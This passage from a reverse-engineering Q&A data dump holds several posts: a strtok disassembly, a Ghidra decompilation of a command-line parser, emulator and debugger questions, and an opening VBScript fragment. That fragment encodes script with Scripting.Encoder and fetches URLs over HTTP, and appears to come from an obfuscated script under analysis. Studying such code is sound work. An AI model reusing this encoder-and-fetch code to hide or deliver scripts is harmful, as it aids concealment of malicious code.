positionOfEqualEqual = 0&#xA;    SomeStringOperation = inputString&#xA;&#xA;End Function&#xA;&#xA;Function encodeString2(inputString)&#xA;&#xA;    Const numberStringSeed = &quot;1231232332321323132311233213233211323231311231321323112331123132&quot;&#xA;&#xA;    Dim ScriptingEncoder, index, CheckIfOnline, D1619D105014E6, D383AB927646D, BA&#xA;    Dim JlaIndex(127)&#xA;&#xA;    Set ScriptingEncoder = WSCript.CreateObject(&quot;Scripting.Encoder&quot;)&#xA;    For index = 9 To 127&#xA;        JlaIndex(index) = &quot;JLA&quot;&#xA;    Next&#xA;    For index = 9 To 127&#xA;        BA = Mid(ScriptingEncoder.EncodeScriptFile(&quot;.vbs&quot;, String(3, index), 0, &quot;&quot;), 13, 3)&#xA;        For D1619D105014E6 = 1 To 3&#xA;            CheckIfOnline = Asc(Mid(BA, D1619D105014E6, 1))&#xA;            JlaIndex(CheckIfOnline) = Left(JlaIndex(CheckIfOnline), D1619D105014E6 - 1) &amp;amp; Chr(index) &amp;amp; Mid(JlaIndex(CheckIfOnline), D1619D105014E6 + 1)&#xA;        Next&#xA;    Next&#xA;    JlaIndex(42) = Left(JlaIndex(42), 1) &amp;amp; &quot;)&quot; &amp;amp; Right(JlaIndex(42), 1)&#xA;    inputString = Replace(Replace(inputString, &quot;@&amp;amp;&quot;, Chr(10)), &quot;@#&quot;, Chr(13))&#xA;    inputString = Replace(Replace(inputString, &quot;@*&quot;, &quot;&amp;gt;&quot;), &quot;@!&quot;, &quot;&amp;lt;&quot;)&#xA;    inputString = Replace(inputString, &quot;@$&quot;, &quot;@&quot;)&#xA;    D383AB927646D = -1&#xA;    For index = 1 To Len(inputString)&#xA;        CheckIfOnline = Asc(Mid(inputString, index, 1))&#xA;        If CheckIfOnline &amp;lt; 128 Then D383AB927646D = D383AB927646D + 1&#xA;        If (CheckIfOnline = 9) Or ((CheckIfOnline &amp;gt; 31) And (CheckIfOnline &amp;lt; 128)) Then&#xA;            If (CheckIfOnline &amp;lt;&amp;gt; 60) And (CheckIfOnline &amp;lt;&amp;gt; 62) And (CheckIfOnline &amp;lt;&amp;gt; 64) Then&#xA;                inputString = _&#xA;                    Left(inputString, index - 1) &amp;amp; _&#xA;                    Mid(JlaIndex(CheckIfOnline), Mid(numberStringSeed, (D383AB927646D Mod 64) + 1, 1), 1) &amp;amp; _&#xA;                    Mid(inputString, index + 1)&#xA;            End If&#xA;        End If&#xA;    Next&#xA;    encodeString2 = inputString&#xA;&#xA;End Function&#xA;&#xA;Function HttpGet(Url)&#xA;Dim ServerXMLHttp&#xA;Set ServerXMLHttp = CreateObject(&quot;MSXML2.ServerXMLHTTP&quot;)&#xA;ServerXMLHttp.setTimeouts 0, 0, 0, 0&#xA;ServerXMLHttp.Open &quot;GET&quot;, Url, False&#xA;ServerXMLHttp.send&#xA;HttpGet = ServerXMLHttp.responseText&#xA;Set ServerXMLHttp = Nothing&#xA;End Function&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2229" LastActivityDate="2020-01-21T00:23:55.237" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23066" PostTypeId="2" ParentId="23064" CreationDate="2020-01-21T05:48:32.503" Score="3" Body="&lt;p&gt;This would be typical to see in use of strtok function.&#xA;Example code from &lt;a href=&quot;https://www.tutorialspoint.com/c_standard_library/c_function_strtok.htm&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;string.h&amp;gt;&#xA;#include &amp;lt;stdio.h&amp;gt;&#xA;&#xA;int main()&#xA;{&#xA;char str[80] = &quot;This is - www.tutorialspoint.com - website&quot;;&#xA;   const char s[2] = &quot;-&quot;;&#xA;   char *token;&#xA;&#xA;   /* get the first token */&#xA;   token = strtok(str, s);&#xA;&#xA;   /* walk through other tokens */&#xA;   while( token != NULL ) {&#xA;      printf( &quot; %s\n&quot;, token );&#xA;&#xA;      token = strtok(NULL, s);&#xA;   }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Disassembly:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.LC0:&#xA;        .string &quot; %s\n&quot;&#xA;main:&#xA;        push    rbp&#xA;        mov     rbp, rsp&#xA;        sub     rsp, 112&#xA;        movabs  rax, 2338328219631577172&#xA;        movabs  rdx, 8463440690376286253&#xA;        mov     QWORD PTR [rbp-96], rax&#xA;        mov     QWORD PTR [rbp-88], rdx&#xA;        movabs  rax, 8102939320206389108&#xA;        movabs  rdx, 7885630523722066287&#xA;        mov     QWORD PTR [rbp-80], rax&#xA;        mov     QWORD PTR [rbp-72], rdx&#xA;        movabs  rax, 7598525184233975072&#xA;        mov     edx, 25972&#xA;        mov     QWORD PTR [rbp-64], rax&#xA;        mov     QWORD PTR [rbp-56], rdx&#xA;        mov     QWORD PTR [rbp-48], 0&#xA;        mov     QWORD PTR [rbp-40], 0&#xA;        mov     QWORD PTR [rbp-32], 0&#xA;        mov     QWORD PTR [rbp-24], 0&#xA;        mov     WORD PTR [rbp-98], 45&#xA;        lea     rdx, [rbp-98]&#xA;        lea     rax, [rbp-96]&#xA;        mov     rsi, rdx&#xA;        mov     rdi, rax&#xA;        call    strtok&#xA;        mov     QWORD PTR [rbp-8], rax&#xA;.L3:&#xA;        cmp     QWORD PTR [rbp-8], 0&#xA;        je      .L2&#xA;        mov     rax, QWORD PTR [rbp-8]&#xA;        mov     rsi, rax&#xA;        mov     edi, OFFSET FLAT:.LC0&#xA;        mov     eax, 0&#xA;        call    printf&#xA;        lea     rax, [rbp-98]&#xA;        mov     rsi, rax&#xA;        mov     edi, 0&#xA;        call    strtok&#xA;        mov     QWORD PTR [rbp-8], rax&#xA;        jmp     .L3&#xA;.L2:&#xA;        mov     eax, 0&#xA;        leave&#xA;        ret&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The  token = strtok(NULL, s); line is compiled with &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov edi,0&#xA;call strtok&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can quickly check/compare different compilers and their assembly output with the website &lt;a href=&quot;https://godbolt.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://godbolt.org/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2229" LastActivityDate="2020-01-21T05:48:32.503" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23068" PostTypeId="2" ParentId="21968" CreationDate="2020-01-21T13:36:26.523" Score="1" Body="&lt;p&gt;Have you tried to start a gdbserver on your android device and to attach to it in r2 ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It worked for me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://radare.gitbooks.io/radare2book/content/debugger/remote_gdb.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://radare.gitbooks.io/radare2book/content/debugger/remote_gdb.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="30855" LastActivityDate="2020-01-21T13:36:26.523" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23069" PostTypeId="1" CreationDate="2020-01-21T19:42:21.353" Score="1" ViewCount="3078" Body="&lt;p&gt;I want to know what command line arguments are accepted by an application. I have decompiled it using Ghidra and found a function called &lt;code&gt;ParseCommandLine&lt;/code&gt;, but I don't understand what it is doing. I expected it to compare each option to some strings to determine what it is, but it looks like gibberish.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I figure out what the below code is doing? Or is there a better way to figure out what command line options are available?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additional context: I'm using a Macbook, and the application is the first Jackbox Party Pack. I want to see if I can launch one of the games directly without opening their game selector.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/* WARNING: Could not reconcile some variable overlaps */&#xA;/* Scaleform::Platform::Args::ParseCommandLine(int, char**) */&#xA;&#xA;undefined8 __thiscall ParseCommandLine(Args *this,int param_1,char **param_2)&#xA;&#xA;{&#xA;  int *piVar1;&#xA;  uint uVar2;&#xA;  ulong uVar3;&#xA;  ulong uVar4;&#xA;  char *pcVar5;&#xA;  long lVar6;&#xA;  bool bVar7;&#xA;  ulong *puVar8;&#xA;  long *plVar9;&#xA;  byte bVar10;&#xA;  int iVar11;&#xA;  char *pcVar12;&#xA;  undefined *puVar13;&#xA;  undefined *puVar14;&#xA;  ulong uVar15;&#xA;  undefined8 *puVar16;&#xA;  RefCountImpl *this_00;&#xA;  long lVar17;&#xA;  long *plVar18;&#xA;  undefined8 uVar19;&#xA;  long *plVar20;&#xA;  uint **ppuVar21;&#xA;  char *pcVar22;&#xA;  char **ppcVar23;&#xA;  char **ppcVar24;&#xA;  long lVar25;&#xA;  ulong local_78;&#xA;  char **local_70;&#xA;  int local_68;&#xA;  uint local_64;&#xA;  char **local_60;&#xA;  char **local_58;&#xA;  char **local_50;&#xA;  char **local_48;&#xA;  ulong local_40;&#xA;  long *local_38;&#xA;&#xA;  local_40 = (ulong)(param_1 - 1U);&#xA;  local_38 = (long *)this;&#xA;  if (param_1 - 1U != 0 &amp;amp;&amp;amp; 0 &amp;lt; param_1) {&#xA;    pcVar12 = PTR_vtable_10094f650 + 0x10;&#xA;    puVar13 = PTR_vtable_10094f710 + 0x10;&#xA;    puVar14 = PTR_vtable_10094f648 + 0x10;&#xA;    local_68 = 0;&#xA;    do {&#xA;      ppcVar24 = param_2 + 1;&#xA;      pcVar22 = param_2[1];&#xA;      if (*pcVar22 == '-') {&#xA;        ppcVar23 = (char **)(pcVar22 + 1);&#xA;        local_60 = param_2;&#xA;        iVar11 = _prompt_string(ppcVar23,&quot;psn_&quot;,4);&#xA;        param_2 = ppcVar24;&#xA;        if (iVar11 != 0) {&#xA;          local_50 = ppcVar23;&#xA;          String((String *)&amp;amp;local_78,(char *)ppcVar23);&#xA;          local_58 = (char **)((ulong)local_58 &amp;amp; 0xffffffff00000000 | (ulong)(uint)param_1);&#xA;          if (((long *)this)[6] != 0) {&#xA;            uVar15 = BernsteinHashFunctionCIS&#xA;                               ((void *)((long)(ulong *)(local_78 &amp;amp; 0xfffffffffffffffc) + 0xc),&#xA;                                *(ulong *)(local_78 &amp;amp; 0xfffffffffffffffc) &amp;amp; 0x7fffffffffffffff,&#xA;                                0x1505);&#xA;            lVar17 = ((long *)this)[6];&#xA;            uVar15 = uVar15 &amp;amp; *(ulong *)(lVar17 + 8);&#xA;            if ((*(long *)(lVar17 + 0x10 + uVar15 * 0x28) != -2) &amp;amp;&amp;amp;&#xA;               (*(ulong *)(lVar17 + 0x18 + uVar15 * 0x28) == uVar15)) {&#xA;              puVar8 = (ulong *)(lVar17 + 0x10 + uVar15 * 0x28);&#xA;              local_48 = (char **)((local_78 &amp;amp; 0xfffffffffffffffc) + 0xc);&#xA;              uVar3 = puVar8[1];&#xA;              uVar4 = uVar15;&#xA;              while ((uVar3 != uVar15 ||&#xA;                     (iVar11 = _default_RAND_meth((puVar8[2] &amp;amp; 0xfffffffffffffffc) + 0xc,local_48),&#xA;                     iVar11 != 0))) {&#xA;                uVar4 = *puVar8;&#xA;                if (uVar4 == 0xffffffffffffffff) goto LAB_1006b2610;&#xA;                puVar8 = (ulong *)(lVar17 + 0x10 + uVar4 * 0x28);&#xA;                uVar3 = puVar8[1];&#xA;              }&#xA;              if (-1 &amp;lt; (long)uVar4) {&#xA;                lVar25 = *(long *)(lVar17 + 0x28 + uVar4 * 0x28);&#xA;                local_48 = *(char ***)(lVar17 + 0x30 + uVar4 * 0x28);&#xA;                bVar7 = true;&#xA;                goto LAB_1006b261b;&#xA;              }&#xA;            }&#xA;          }&#xA;LAB_1006b2610:&#xA;          lVar25 = 0;&#xA;          local_48 = (char **)0x0;&#xA;          bVar7 = false;&#xA;LAB_1006b261b:&#xA;          LOCK();&#xA;          piVar1 = (int *)((local_78 &amp;amp; 0xfffffffffffffffc) + 8);&#xA;          *piVar1 = *piVar1 + -1;&#xA;          if (*piVar1 == 0) {&#xA;            (**(code **)(*pGlobalHeap + 0x68))();&#xA;          }&#xA;          if (!bVar7) {&#xA;            __ZN9Scaleform6Render2GLL53ShaderDesc_FS_GLSL150_FInstancedYUVACxformAcEAlphaInvE&#xA;                      (*(undefined8 *)__ZN9Scaleform6Render2GLL34ShaderDesc_FS_GLSL150_FBatchYUVMulE&#xA;                       ,&quot;Unknown option : %s \n&quot;,local_50);&#xA;          }&#xA;          uVar2 = *(uint *)(*local_38 + 0x10 + lVar25 * 0x28);&#xA;          bVar10 = (byte)uVar2 &amp;amp; 0xf;&#xA;          if (bVar10 == 1) {&#xA;            local_40._0_4_ = (int)local_58 - 2;&#xA;            if ((uint)local_40 == 0 || SCARRY4((int)local_58,-2) != (int)(uint)local_40 &amp;lt; 0) {&#xA;              __ZN9Scaleform6Render2GLL53ShaderDesc_FS_GLSL150_FInstancedYUVACxformAcEAlphaInvE&#xA;                        (*(undefined8 *)&#xA;                          __ZN9Scaleform6Render2GLL34ShaderDesc_FS_GLSL150_FBatchYUVMulE,&#xA;                         &quot;Option \&quot;%s\&quot; must have arguments.\n&quot;,local_50);&#xA;              this = (Args *)local_38;&#xA;            }&#xA;            else {&#xA;              lVar17 = CreateValue(local_60[2],uVar2);&#xA;              plVar9 = local_38;&#xA;              ppcVar24 = local_48;&#xA;              plVar20 = (long *)(local_38[3] + (long)local_48 * 8);&#xA;              this_00 = *(RefCountImpl **)(local_38[3] + (long)local_48 * 8);&#xA;              plVar18 = plVar20;&#xA;              if (this_00 != (RefCountImpl *)0x0) {&#xA;                Release(this_00);&#xA;                plVar18 = (long *)((long)ppcVar24 * 8 + plVar9[3]);&#xA;              }&#xA;              param_2 = local_60 + 2;&#xA;              *plVar20 = lVar17;&#xA;              this = (Args *)local_38;&#xA;              if (*plVar18 == 0) {&#xA;                __ZN9Scaleform6Render2GLL53ShaderDesc_FS_GLSL150_FInstancedYUVACxformAcEAlphaInvE&#xA;                          (*(undefined8 *)&#xA;                            __ZN9Scaleform6Render2GLL34ShaderDesc_FS_GLSL150_FBatchYUVMulE,&#xA;                           &quot;Cannot parse parameter for \&quot;%s\&quot; \n&quot;,local_50);&#xA;                this = (Args *)local_38;&#xA;              }&#xA;            }&#xA;          }&#xA;          else {&#xA;            if (bVar10 == 4) {&#xA;              if ((int)local_58 &amp;lt; 3) {&#xA;                uVar19 = *(undefined8 *)&#xA;                          __ZN9Scaleform6Render2GLL34ShaderDesc_FS_GLSL150_FBatchYUVMulE;&#xA;LAB_1006b29ad:&#xA;                __ZN9Scaleform6Render2GLL53ShaderDesc_FS_GLSL150_FInstancedYUVACxformAcEAlphaInvE&#xA;                          (uVar19);&#xA;                this = (Args *)local_38;&#xA;              }&#xA;              else {&#xA;                local_58 = (char **)(**(code **)(*pGlobalHeap + 0x50))(pGlobalHeap,0x28,0);&#xA;                *(uint *)(local_58 + 1) = 1;&#xA;                *(undefined *)((long)local_58 + 0xc) = 0;&#xA;                *local_58 = pcVar12;&#xA;                local_58[4] = (char *)0x0;&#xA;                local_58[3] = (char *)0x0;&#xA;                local_58[2] = (char *)0x0;&#xA;                if ((1 &amp;lt; (int)local_40) &amp;amp;&amp;amp; (pcVar22 = local_60[2], *pcVar22 != '-')) {&#xA;                  local_70 = local_58 + 2;&#xA;                  ppcVar23 = local_60 + 2;&#xA;                  local_64 = uVar2;&#xA;                  do {&#xA;                    local_50 = ppcVar23;&#xA;                    this_00 = (RefCountImpl *)CreateValue(pcVar22,local_64);&#xA;                    ppcVar24 = local_58;&#xA;                    ResizeNoConstruct((&#xA;                                       ArrayDataBase&amp;lt;Scaleform--Ptr&amp;lt;Scaleform--Platform--ArgValue&amp;gt;,Scaleform--AllocatorGH&amp;lt;Scaleform--Ptr&amp;lt;Scaleform--Platform--ArgValue&amp;gt;,2&amp;gt;,Scaleform--ArrayDefaultPolicy&amp;gt;&#xA;                                       *)local_70,local_70,(ulong)(local_58[3] + 1));&#xA;                    pcVar22 = ppcVar24[2];&#xA;                    pcVar5 = ppcVar24[3];&#xA;                    if (this_00 == (RefCountImpl *)0x0) {&#xA;                      *(undefined8 *)(pcVar22 + (long)pcVar5 * 8 + -8) = 0;&#xA;                    }&#xA;                    else {&#xA;                      AddRef(this_00);&#xA;                      *(RefCountImpl **)(pcVar22 + (long)pcVar5 * 8 + -8) = this_00;&#xA;                      Release(this_00);&#xA;                    }&#xA;                    ppcVar24 = local_50;&#xA;                    if ((int)((uint)local_40 + -2) &amp;lt; 1) {&#xA;                      ppuVar21 = (uint **)((long)local_48 * 8 + local_38[3]);&#xA;                      local_40 = (ulong)((uint)local_40 - 1);&#xA;                      goto LAB_1006b2b76;&#xA;                    }&#xA;                    pcVar22 = local_50[1];&#xA;                    ppcVar23 = local_50 + 1;&#xA;                    local_40 = (ulong)((uint)local_40 - 1);&#xA;                  } while (*pcVar22 != '-');&#xA;                }&#xA;                ppuVar21 = (uint **)((long)local_48 * 8 + local_38[3]);&#xA;                if (local_58 == (char **)0x0) {&#xA;                  bVar7 = true;&#xA;                }&#xA;                else {&#xA;LAB_1006b2b76:&#xA;                  AddRef((RefCountImpl *)local_58);&#xA;                  bVar7 = false;&#xA;                }&#xA;                if (*ppuVar21 != (uint *)0x0) {&#xA;                  Release((RefCountImpl *)*ppuVar21);&#xA;                }&#xA;                *(char ***)ppuVar21 = local_58;&#xA;                param_2 = ppcVar24;&#xA;                this = (Args *)local_38;&#xA;                if (!bVar7) {&#xA;                  Release((RefCountImpl *)local_58);&#xA;                  this = (Args *)local_38;&#xA;                }&#xA;              }&#xA;            }&#xA;            else {&#xA;              this = (Args *)local_38;&#xA;              if (bVar10 == 2) {&#xA;                if ((uVar2 &amp;amp; 0xf0) != 0x10) {&#xA;                  uVar19 = *(undefined8 *)&#xA;                            __ZN9Scaleform6Render2GLL34ShaderDesc_FS_GLSL150_FBatchYUVMulE;&#xA;                  goto LAB_1006b29ad;&#xA;                }&#xA;                puVar16 = (undefined8 *)(**(code **)(*pGlobalHeap + 0x50))(pGlobalHeap,0x20,0);&#xA;                *(undefined4 *)(puVar16 + 1) = 1;&#xA;                *(undefined *)((long)puVar16 + 0xc) = 0;&#xA;                *(undefined **)puVar16 = puVar13;&#xA;                String((String *)(puVar16 + 2),&quot;&quot;);&#xA;                *(undefined *)((long)puVar16 + 0xc) = 1;&#xA;                *(undefined **)puVar16 = puVar14;&#xA;                *(undefined *)(puVar16 + 3) = 1;&#xA;                operator=((String *)(puVar16 + 2),&quot;true&quot;);&#xA;                *(undefined *)((long)puVar16 + 0xc) = 1;&#xA;                lVar17 = local_38[3];&#xA;                this_00 = *(RefCountImpl **)(lVar17 + (long)local_48 * 8);&#xA;                if (this_00 != (RefCountImpl *)0x0) {&#xA;                  Release(this_00);&#xA;                }&#xA;                *(undefined8 **)(lVar17 + (long)local_48 * 8) = puVar16;&#xA;                this = (Args *)local_38;&#xA;              }&#xA;            }&#xA;          }&#xA;        }&#xA;      }&#xA;      else {&#xA;        uVar15 = (ulong)(ushort)local_68;&#xA;        if ((ulong)((long *)this)[8] &amp;lt; uVar15 || ((long *)this)[8] == uVar15) {&#xA;          __ZN9Scaleform6Render2GLL53ShaderDesc_FS_GLSL150_FInstancedYUVACxformAcEAlphaInvE&#xA;                    (*(undefined8 *)__ZN9Scaleform6Render2GLL34ShaderDesc_FS_GLSL150_FBatchYUVMulE,&#xA;                     &quot;Unknown positional value \&quot;%s\&quot;\n&quot;,pcVar22);&#xA;        }&#xA;        else {&#xA;          ppcVar23 = (char **)(uVar15 * 0x10);&#xA;          uVar2 = *(uint *)(*(long *)this + 0x10 +&#xA;                           *(long *)(((long *)this)[7] + (long)ppcVar23) * 0x28);&#xA;          if ((uVar2 &amp;amp; 0xf) == 4) {&#xA;            local_58 = (char **)(*(long *)this + 0x10 +&#xA;                                *(long *)(((long *)this)[7] + (long)ppcVar23) * 0x28);&#xA;            local_70 = ppcVar23;&#xA;            local_60 = (char **)(**(code **)(*pGlobalHeap + 0x50))(pGlobalHeap,0x28,0);&#xA;            *(undefined4 *)(local_60 + 1) = 1;&#xA;            *(undefined *)((long)local_60 + 0xc) = 0;&#xA;            *local_60 = pcVar12;&#xA;            local_48 = local_60 + 2;&#xA;            local_60[4] = (char *)0x0;&#xA;            local_60[3] = (char *)0x0;&#xA;            local_60[2] = (char *)0x0;&#xA;            do {&#xA;              if (**ppcVar24 == '-') break;&#xA;              uVar15 = (ulong)((int)local_40 - 1);&#xA;              local_50 = ppcVar24;&#xA;              this_00 = (RefCountImpl *)CreateValue(*ppcVar24,*(uint *)local_58);&#xA;              ppcVar24 = local_60;&#xA;              ResizeNoConstruct((&#xA;                                 ArrayDataBase&amp;lt;Scaleform--Ptr&amp;lt;Scaleform--Platform--ArgValue&amp;gt;,Scaleform--AllocatorGH&amp;lt;Scaleform--Ptr&amp;lt;Scaleform--Platform--ArgValue&amp;gt;,2&amp;gt;,Scaleform--ArrayDefaultPolicy&amp;gt;&#xA;                                 *)local_48,local_48,(ulong)(local_60[3] + 1));&#xA;              pcVar22 = ppcVar24[2];&#xA;              pcVar5 = ppcVar24[3];&#xA;              local_40 = uVar15;&#xA;              if (this_00 == (RefCountImpl *)0x0) {&#xA;                *(undefined8 *)(pcVar22 + (long)pcVar5 * 8 + -8) = 0;&#xA;              }&#xA;              else {&#xA;                AddRef(this_00);&#xA;                *(RefCountImpl **)(pcVar22 + (long)pcVar5 * 8 + -8) = this_00;&#xA;                Release(this_00);&#xA;              }&#xA;              ppcVar24 = local_50 + 1;&#xA;            } while (0 &amp;lt; (int)(uint)local_40);&#xA;            lVar17 = local_38[3];&#xA;            lVar25 = *(long *)(local_38[7] + 8 + (long)local_70);&#xA;            if (local_60 != (char **)0x0) {&#xA;              AddRef((RefCountImpl *)local_60);&#xA;            }&#xA;            this_00 = *(RefCountImpl **)(lVar17 + lVar25 * 8);&#xA;            if (this_00 != (RefCountImpl *)0x0) {&#xA;              Release(this_00);&#xA;            }&#xA;            local_40._0_4_ = (uint)local_40 + 1;&#xA;            local_40 = (ulong)(uint)local_40;&#xA;            ppcVar24 = ppcVar24 + -1;&#xA;            *(char ***)(lVar17 + lVar25 * 8) = local_60;&#xA;            this = (Args *)local_38;&#xA;            if (local_60 != (char **)0x0) {&#xA;              Release((RefCountImpl *)local_60);&#xA;              this = (Args *)local_38;&#xA;            }&#xA;          }&#xA;          else {&#xA;            uVar19 = CreateValue(pcVar22,uVar2);&#xA;            lVar17 = ((long *)this)[3];&#xA;            lVar25 = *(long *)(((long *)this)[7] + 8 + (long)ppcVar23);&#xA;            this_00 = *(RefCountImpl **)(lVar17 + lVar25 * 8);&#xA;            if (this_00 != (RefCountImpl *)0x0) {&#xA;              Release(this_00);&#xA;            }&#xA;            *(undefined8 *)(lVar17 + lVar25 * 8) = uVar19;&#xA;            this = (Args *)local_38;&#xA;          }&#xA;        }&#xA;        local_68 = local_68 + 1;&#xA;        param_2 = ppcVar24;&#xA;      }&#xA;      local_40 = (ulong)((uint)local_40 - 1);&#xA;      param_1 = (uint)local_40;&#xA;    } while ((uint)local_40 - 1 != 0 &amp;amp;&amp;amp; 0 &amp;lt; (int)(uint)local_40);&#xA;  }&#xA;  lVar17 = ((long *)this)[6];&#xA;  if (lVar17 == 0) {&#xA;    return 0;&#xA;  }&#xA;  plVar20 = (long *)(lVar17 + 0x10);&#xA;  uVar15 = 0;&#xA;  do {&#xA;    if (*plVar20 != -2) break;&#xA;    uVar15 = uVar15 + 1;&#xA;    plVar20 = plVar20 + 5;&#xA;  } while (uVar15 &amp;lt; *(ulong *)(lVar17 + 8) || uVar15 == *(ulong *)(lVar17 + 8));&#xA;  lVar17 = ((long *)this)[6];&#xA;  do {&#xA;    do {&#xA;      if (lVar17 == 0) {&#xA;        return 0;&#xA;      }&#xA;      if (*(long *)(lVar17 + 8) &amp;lt; (long)uVar15) {&#xA;        return 0;&#xA;      }&#xA;      if (*(long *)(((long *)this)[3] + *(long *)(lVar17 + 0x30 + uVar15 * 0x28) * 8) == 0) {&#xA;        lVar25 = *(long *)(lVar17 + 0x28 + uVar15 * 0x28);&#xA;        lVar6 = *(long *)this;&#xA;        uVar2 = *(uint *)(lVar6 + 0x10 + lVar25 * 0x28);&#xA;        if ((uVar2 &amp;amp; 0x100) != 0) {&#xA;          __ZN9Scaleform6Render2GLL53ShaderDesc_FS_GLSL150_FInstancedYUVACxformAcEAlphaInvE&#xA;                    (*(undefined8 *)__ZN9Scaleform6Render2GLL34ShaderDesc_FS_GLSL150_FBatchYUVMulE,&#xA;                     &quot;Mandatory option \&quot;%s\&quot; or \&quot;%s\&quot; is not found \n&quot;,&#xA;                     *(undefined8 *)(lVar6 + lVar25 * 0x28),&#xA;                     *(undefined8 *)(lVar6 + 8 + lVar25 * 0x28));&#xA;          return 2;&#xA;        }&#xA;        uVar19 = CreateValue(*(char **)(lVar6 + 0x18 + lVar25 * 0x28),uVar2);&#xA;        lVar17 = *(long *)(lVar17 + 0x30 + uVar15 * 0x28);&#xA;        lVar25 = ((long *)this)[3];&#xA;        this_00 = *(RefCountImpl **)(lVar25 + lVar17 * 8);&#xA;        if (this_00 != (RefCountImpl *)0x0) {&#xA;          Release(this_00);&#xA;        }&#xA;        *(undefined8 *)(lVar25 + lVar17 * 8) = uVar19;&#xA;        lVar17 = local_38[6];&#xA;        this = (Args *)local_38;&#xA;      }&#xA;    } while ((long)*(ulong *)(lVar17 + 8) &amp;lt; (long)uVar15);&#xA;    plVar20 = (long *)(lVar17 + 0x38 + uVar15 * 0x28);&#xA;    do {&#xA;      uVar15 = uVar15 + 1;&#xA;      if (*(ulong *)(lVar17 + 8) &amp;lt; uVar15) break;&#xA;      lVar25 = *plVar20;&#xA;      plVar20 = plVar20 + 5;&#xA;    } while (lVar25 == -2);&#xA;  } while( true );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="30859" LastActivityDate="2020-01-22T10:46:01.307" Title="How do I read this decompiled code?" Tags="|decompilation|ghidra|command-line|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23070" PostTypeId="2" ParentId="23038" CreationDate="2020-01-22T01:45:30.630" Score="1" Body="&lt;p&gt;This is a great resource. You can find most of the material on SEI CERT website but the book is great.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://rads.stackoverflow.com/amzn/click/com/0321822137&quot; rel=&quot;nofollow noreferrer&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.amazon.com/Secure-Coding-2nd-Software-Engineering/dp/0321822137&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="9826" LastActivityDate="2020-01-22T01:45:30.630" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23072" PostTypeId="1" CreationDate="2020-01-22T07:56:17.123" Score="0" ViewCount="794" Body="&lt;p&gt;&lt;em&gt;I already asked this question &lt;a href=&quot;https://stackoverflow.com/q/59822038/807307&quot;&gt;on StackOverflow&lt;/a&gt;, but it is not getting attention; maybe here is a better place&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am running the Android emulator that comes with the Android Studio software. I created an AVD based on Pixel 2. Opening the ADB shell I get:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ getprop ro.product.manufacturer&#xA;unknown&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I would like to change the string returned as property &lt;code&gt;ro.product.manufacturer&lt;/code&gt;, because I have an app the refuses to run on an &quot;unknown&quot; device. How can I do that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The file &lt;code&gt;config.ini&lt;/code&gt; for the AVD has a line&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;hw.device.manufacturer=Google&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but this does not seem to be the same thing.&lt;/p&gt;&#xA;" OwnerUserId="11541" LastActivityDate="2020-01-22T07:56:17.123" Title="How to change the manufacturer property in the Android emulator?" Tags="|android|emulation|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="23075" PostTypeId="2" ParentId="23069" CreationDate="2020-01-22T10:46:01.307" Score="5" Body="&lt;p&gt;1) you demangle the function names for these which are called within the function&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) you learn the arguments of these functions and apply the names to local variables which are passed as arguments to the functions&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) you learn the structures and apply them to stack variables, so that you can name more stack variables which are assigned to the structure fields&lt;/p&gt;&#xA;&#xA;&lt;p&gt;4) you learn what is returned from the function and name the error code variable or return value variable&lt;/p&gt;&#xA;&#xA;&lt;p&gt;5) you learn how arguments of the function are processed&lt;/p&gt;&#xA;&#xA;&lt;p&gt;6) you name the rest of the local variables&lt;/p&gt;&#xA;&#xA;&lt;p&gt;7) you look at the whole function again and learn what it actually does&lt;/p&gt;&#xA;" OwnerUserId="22324" LastActivityDate="2020-01-22T10:46:01.307" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
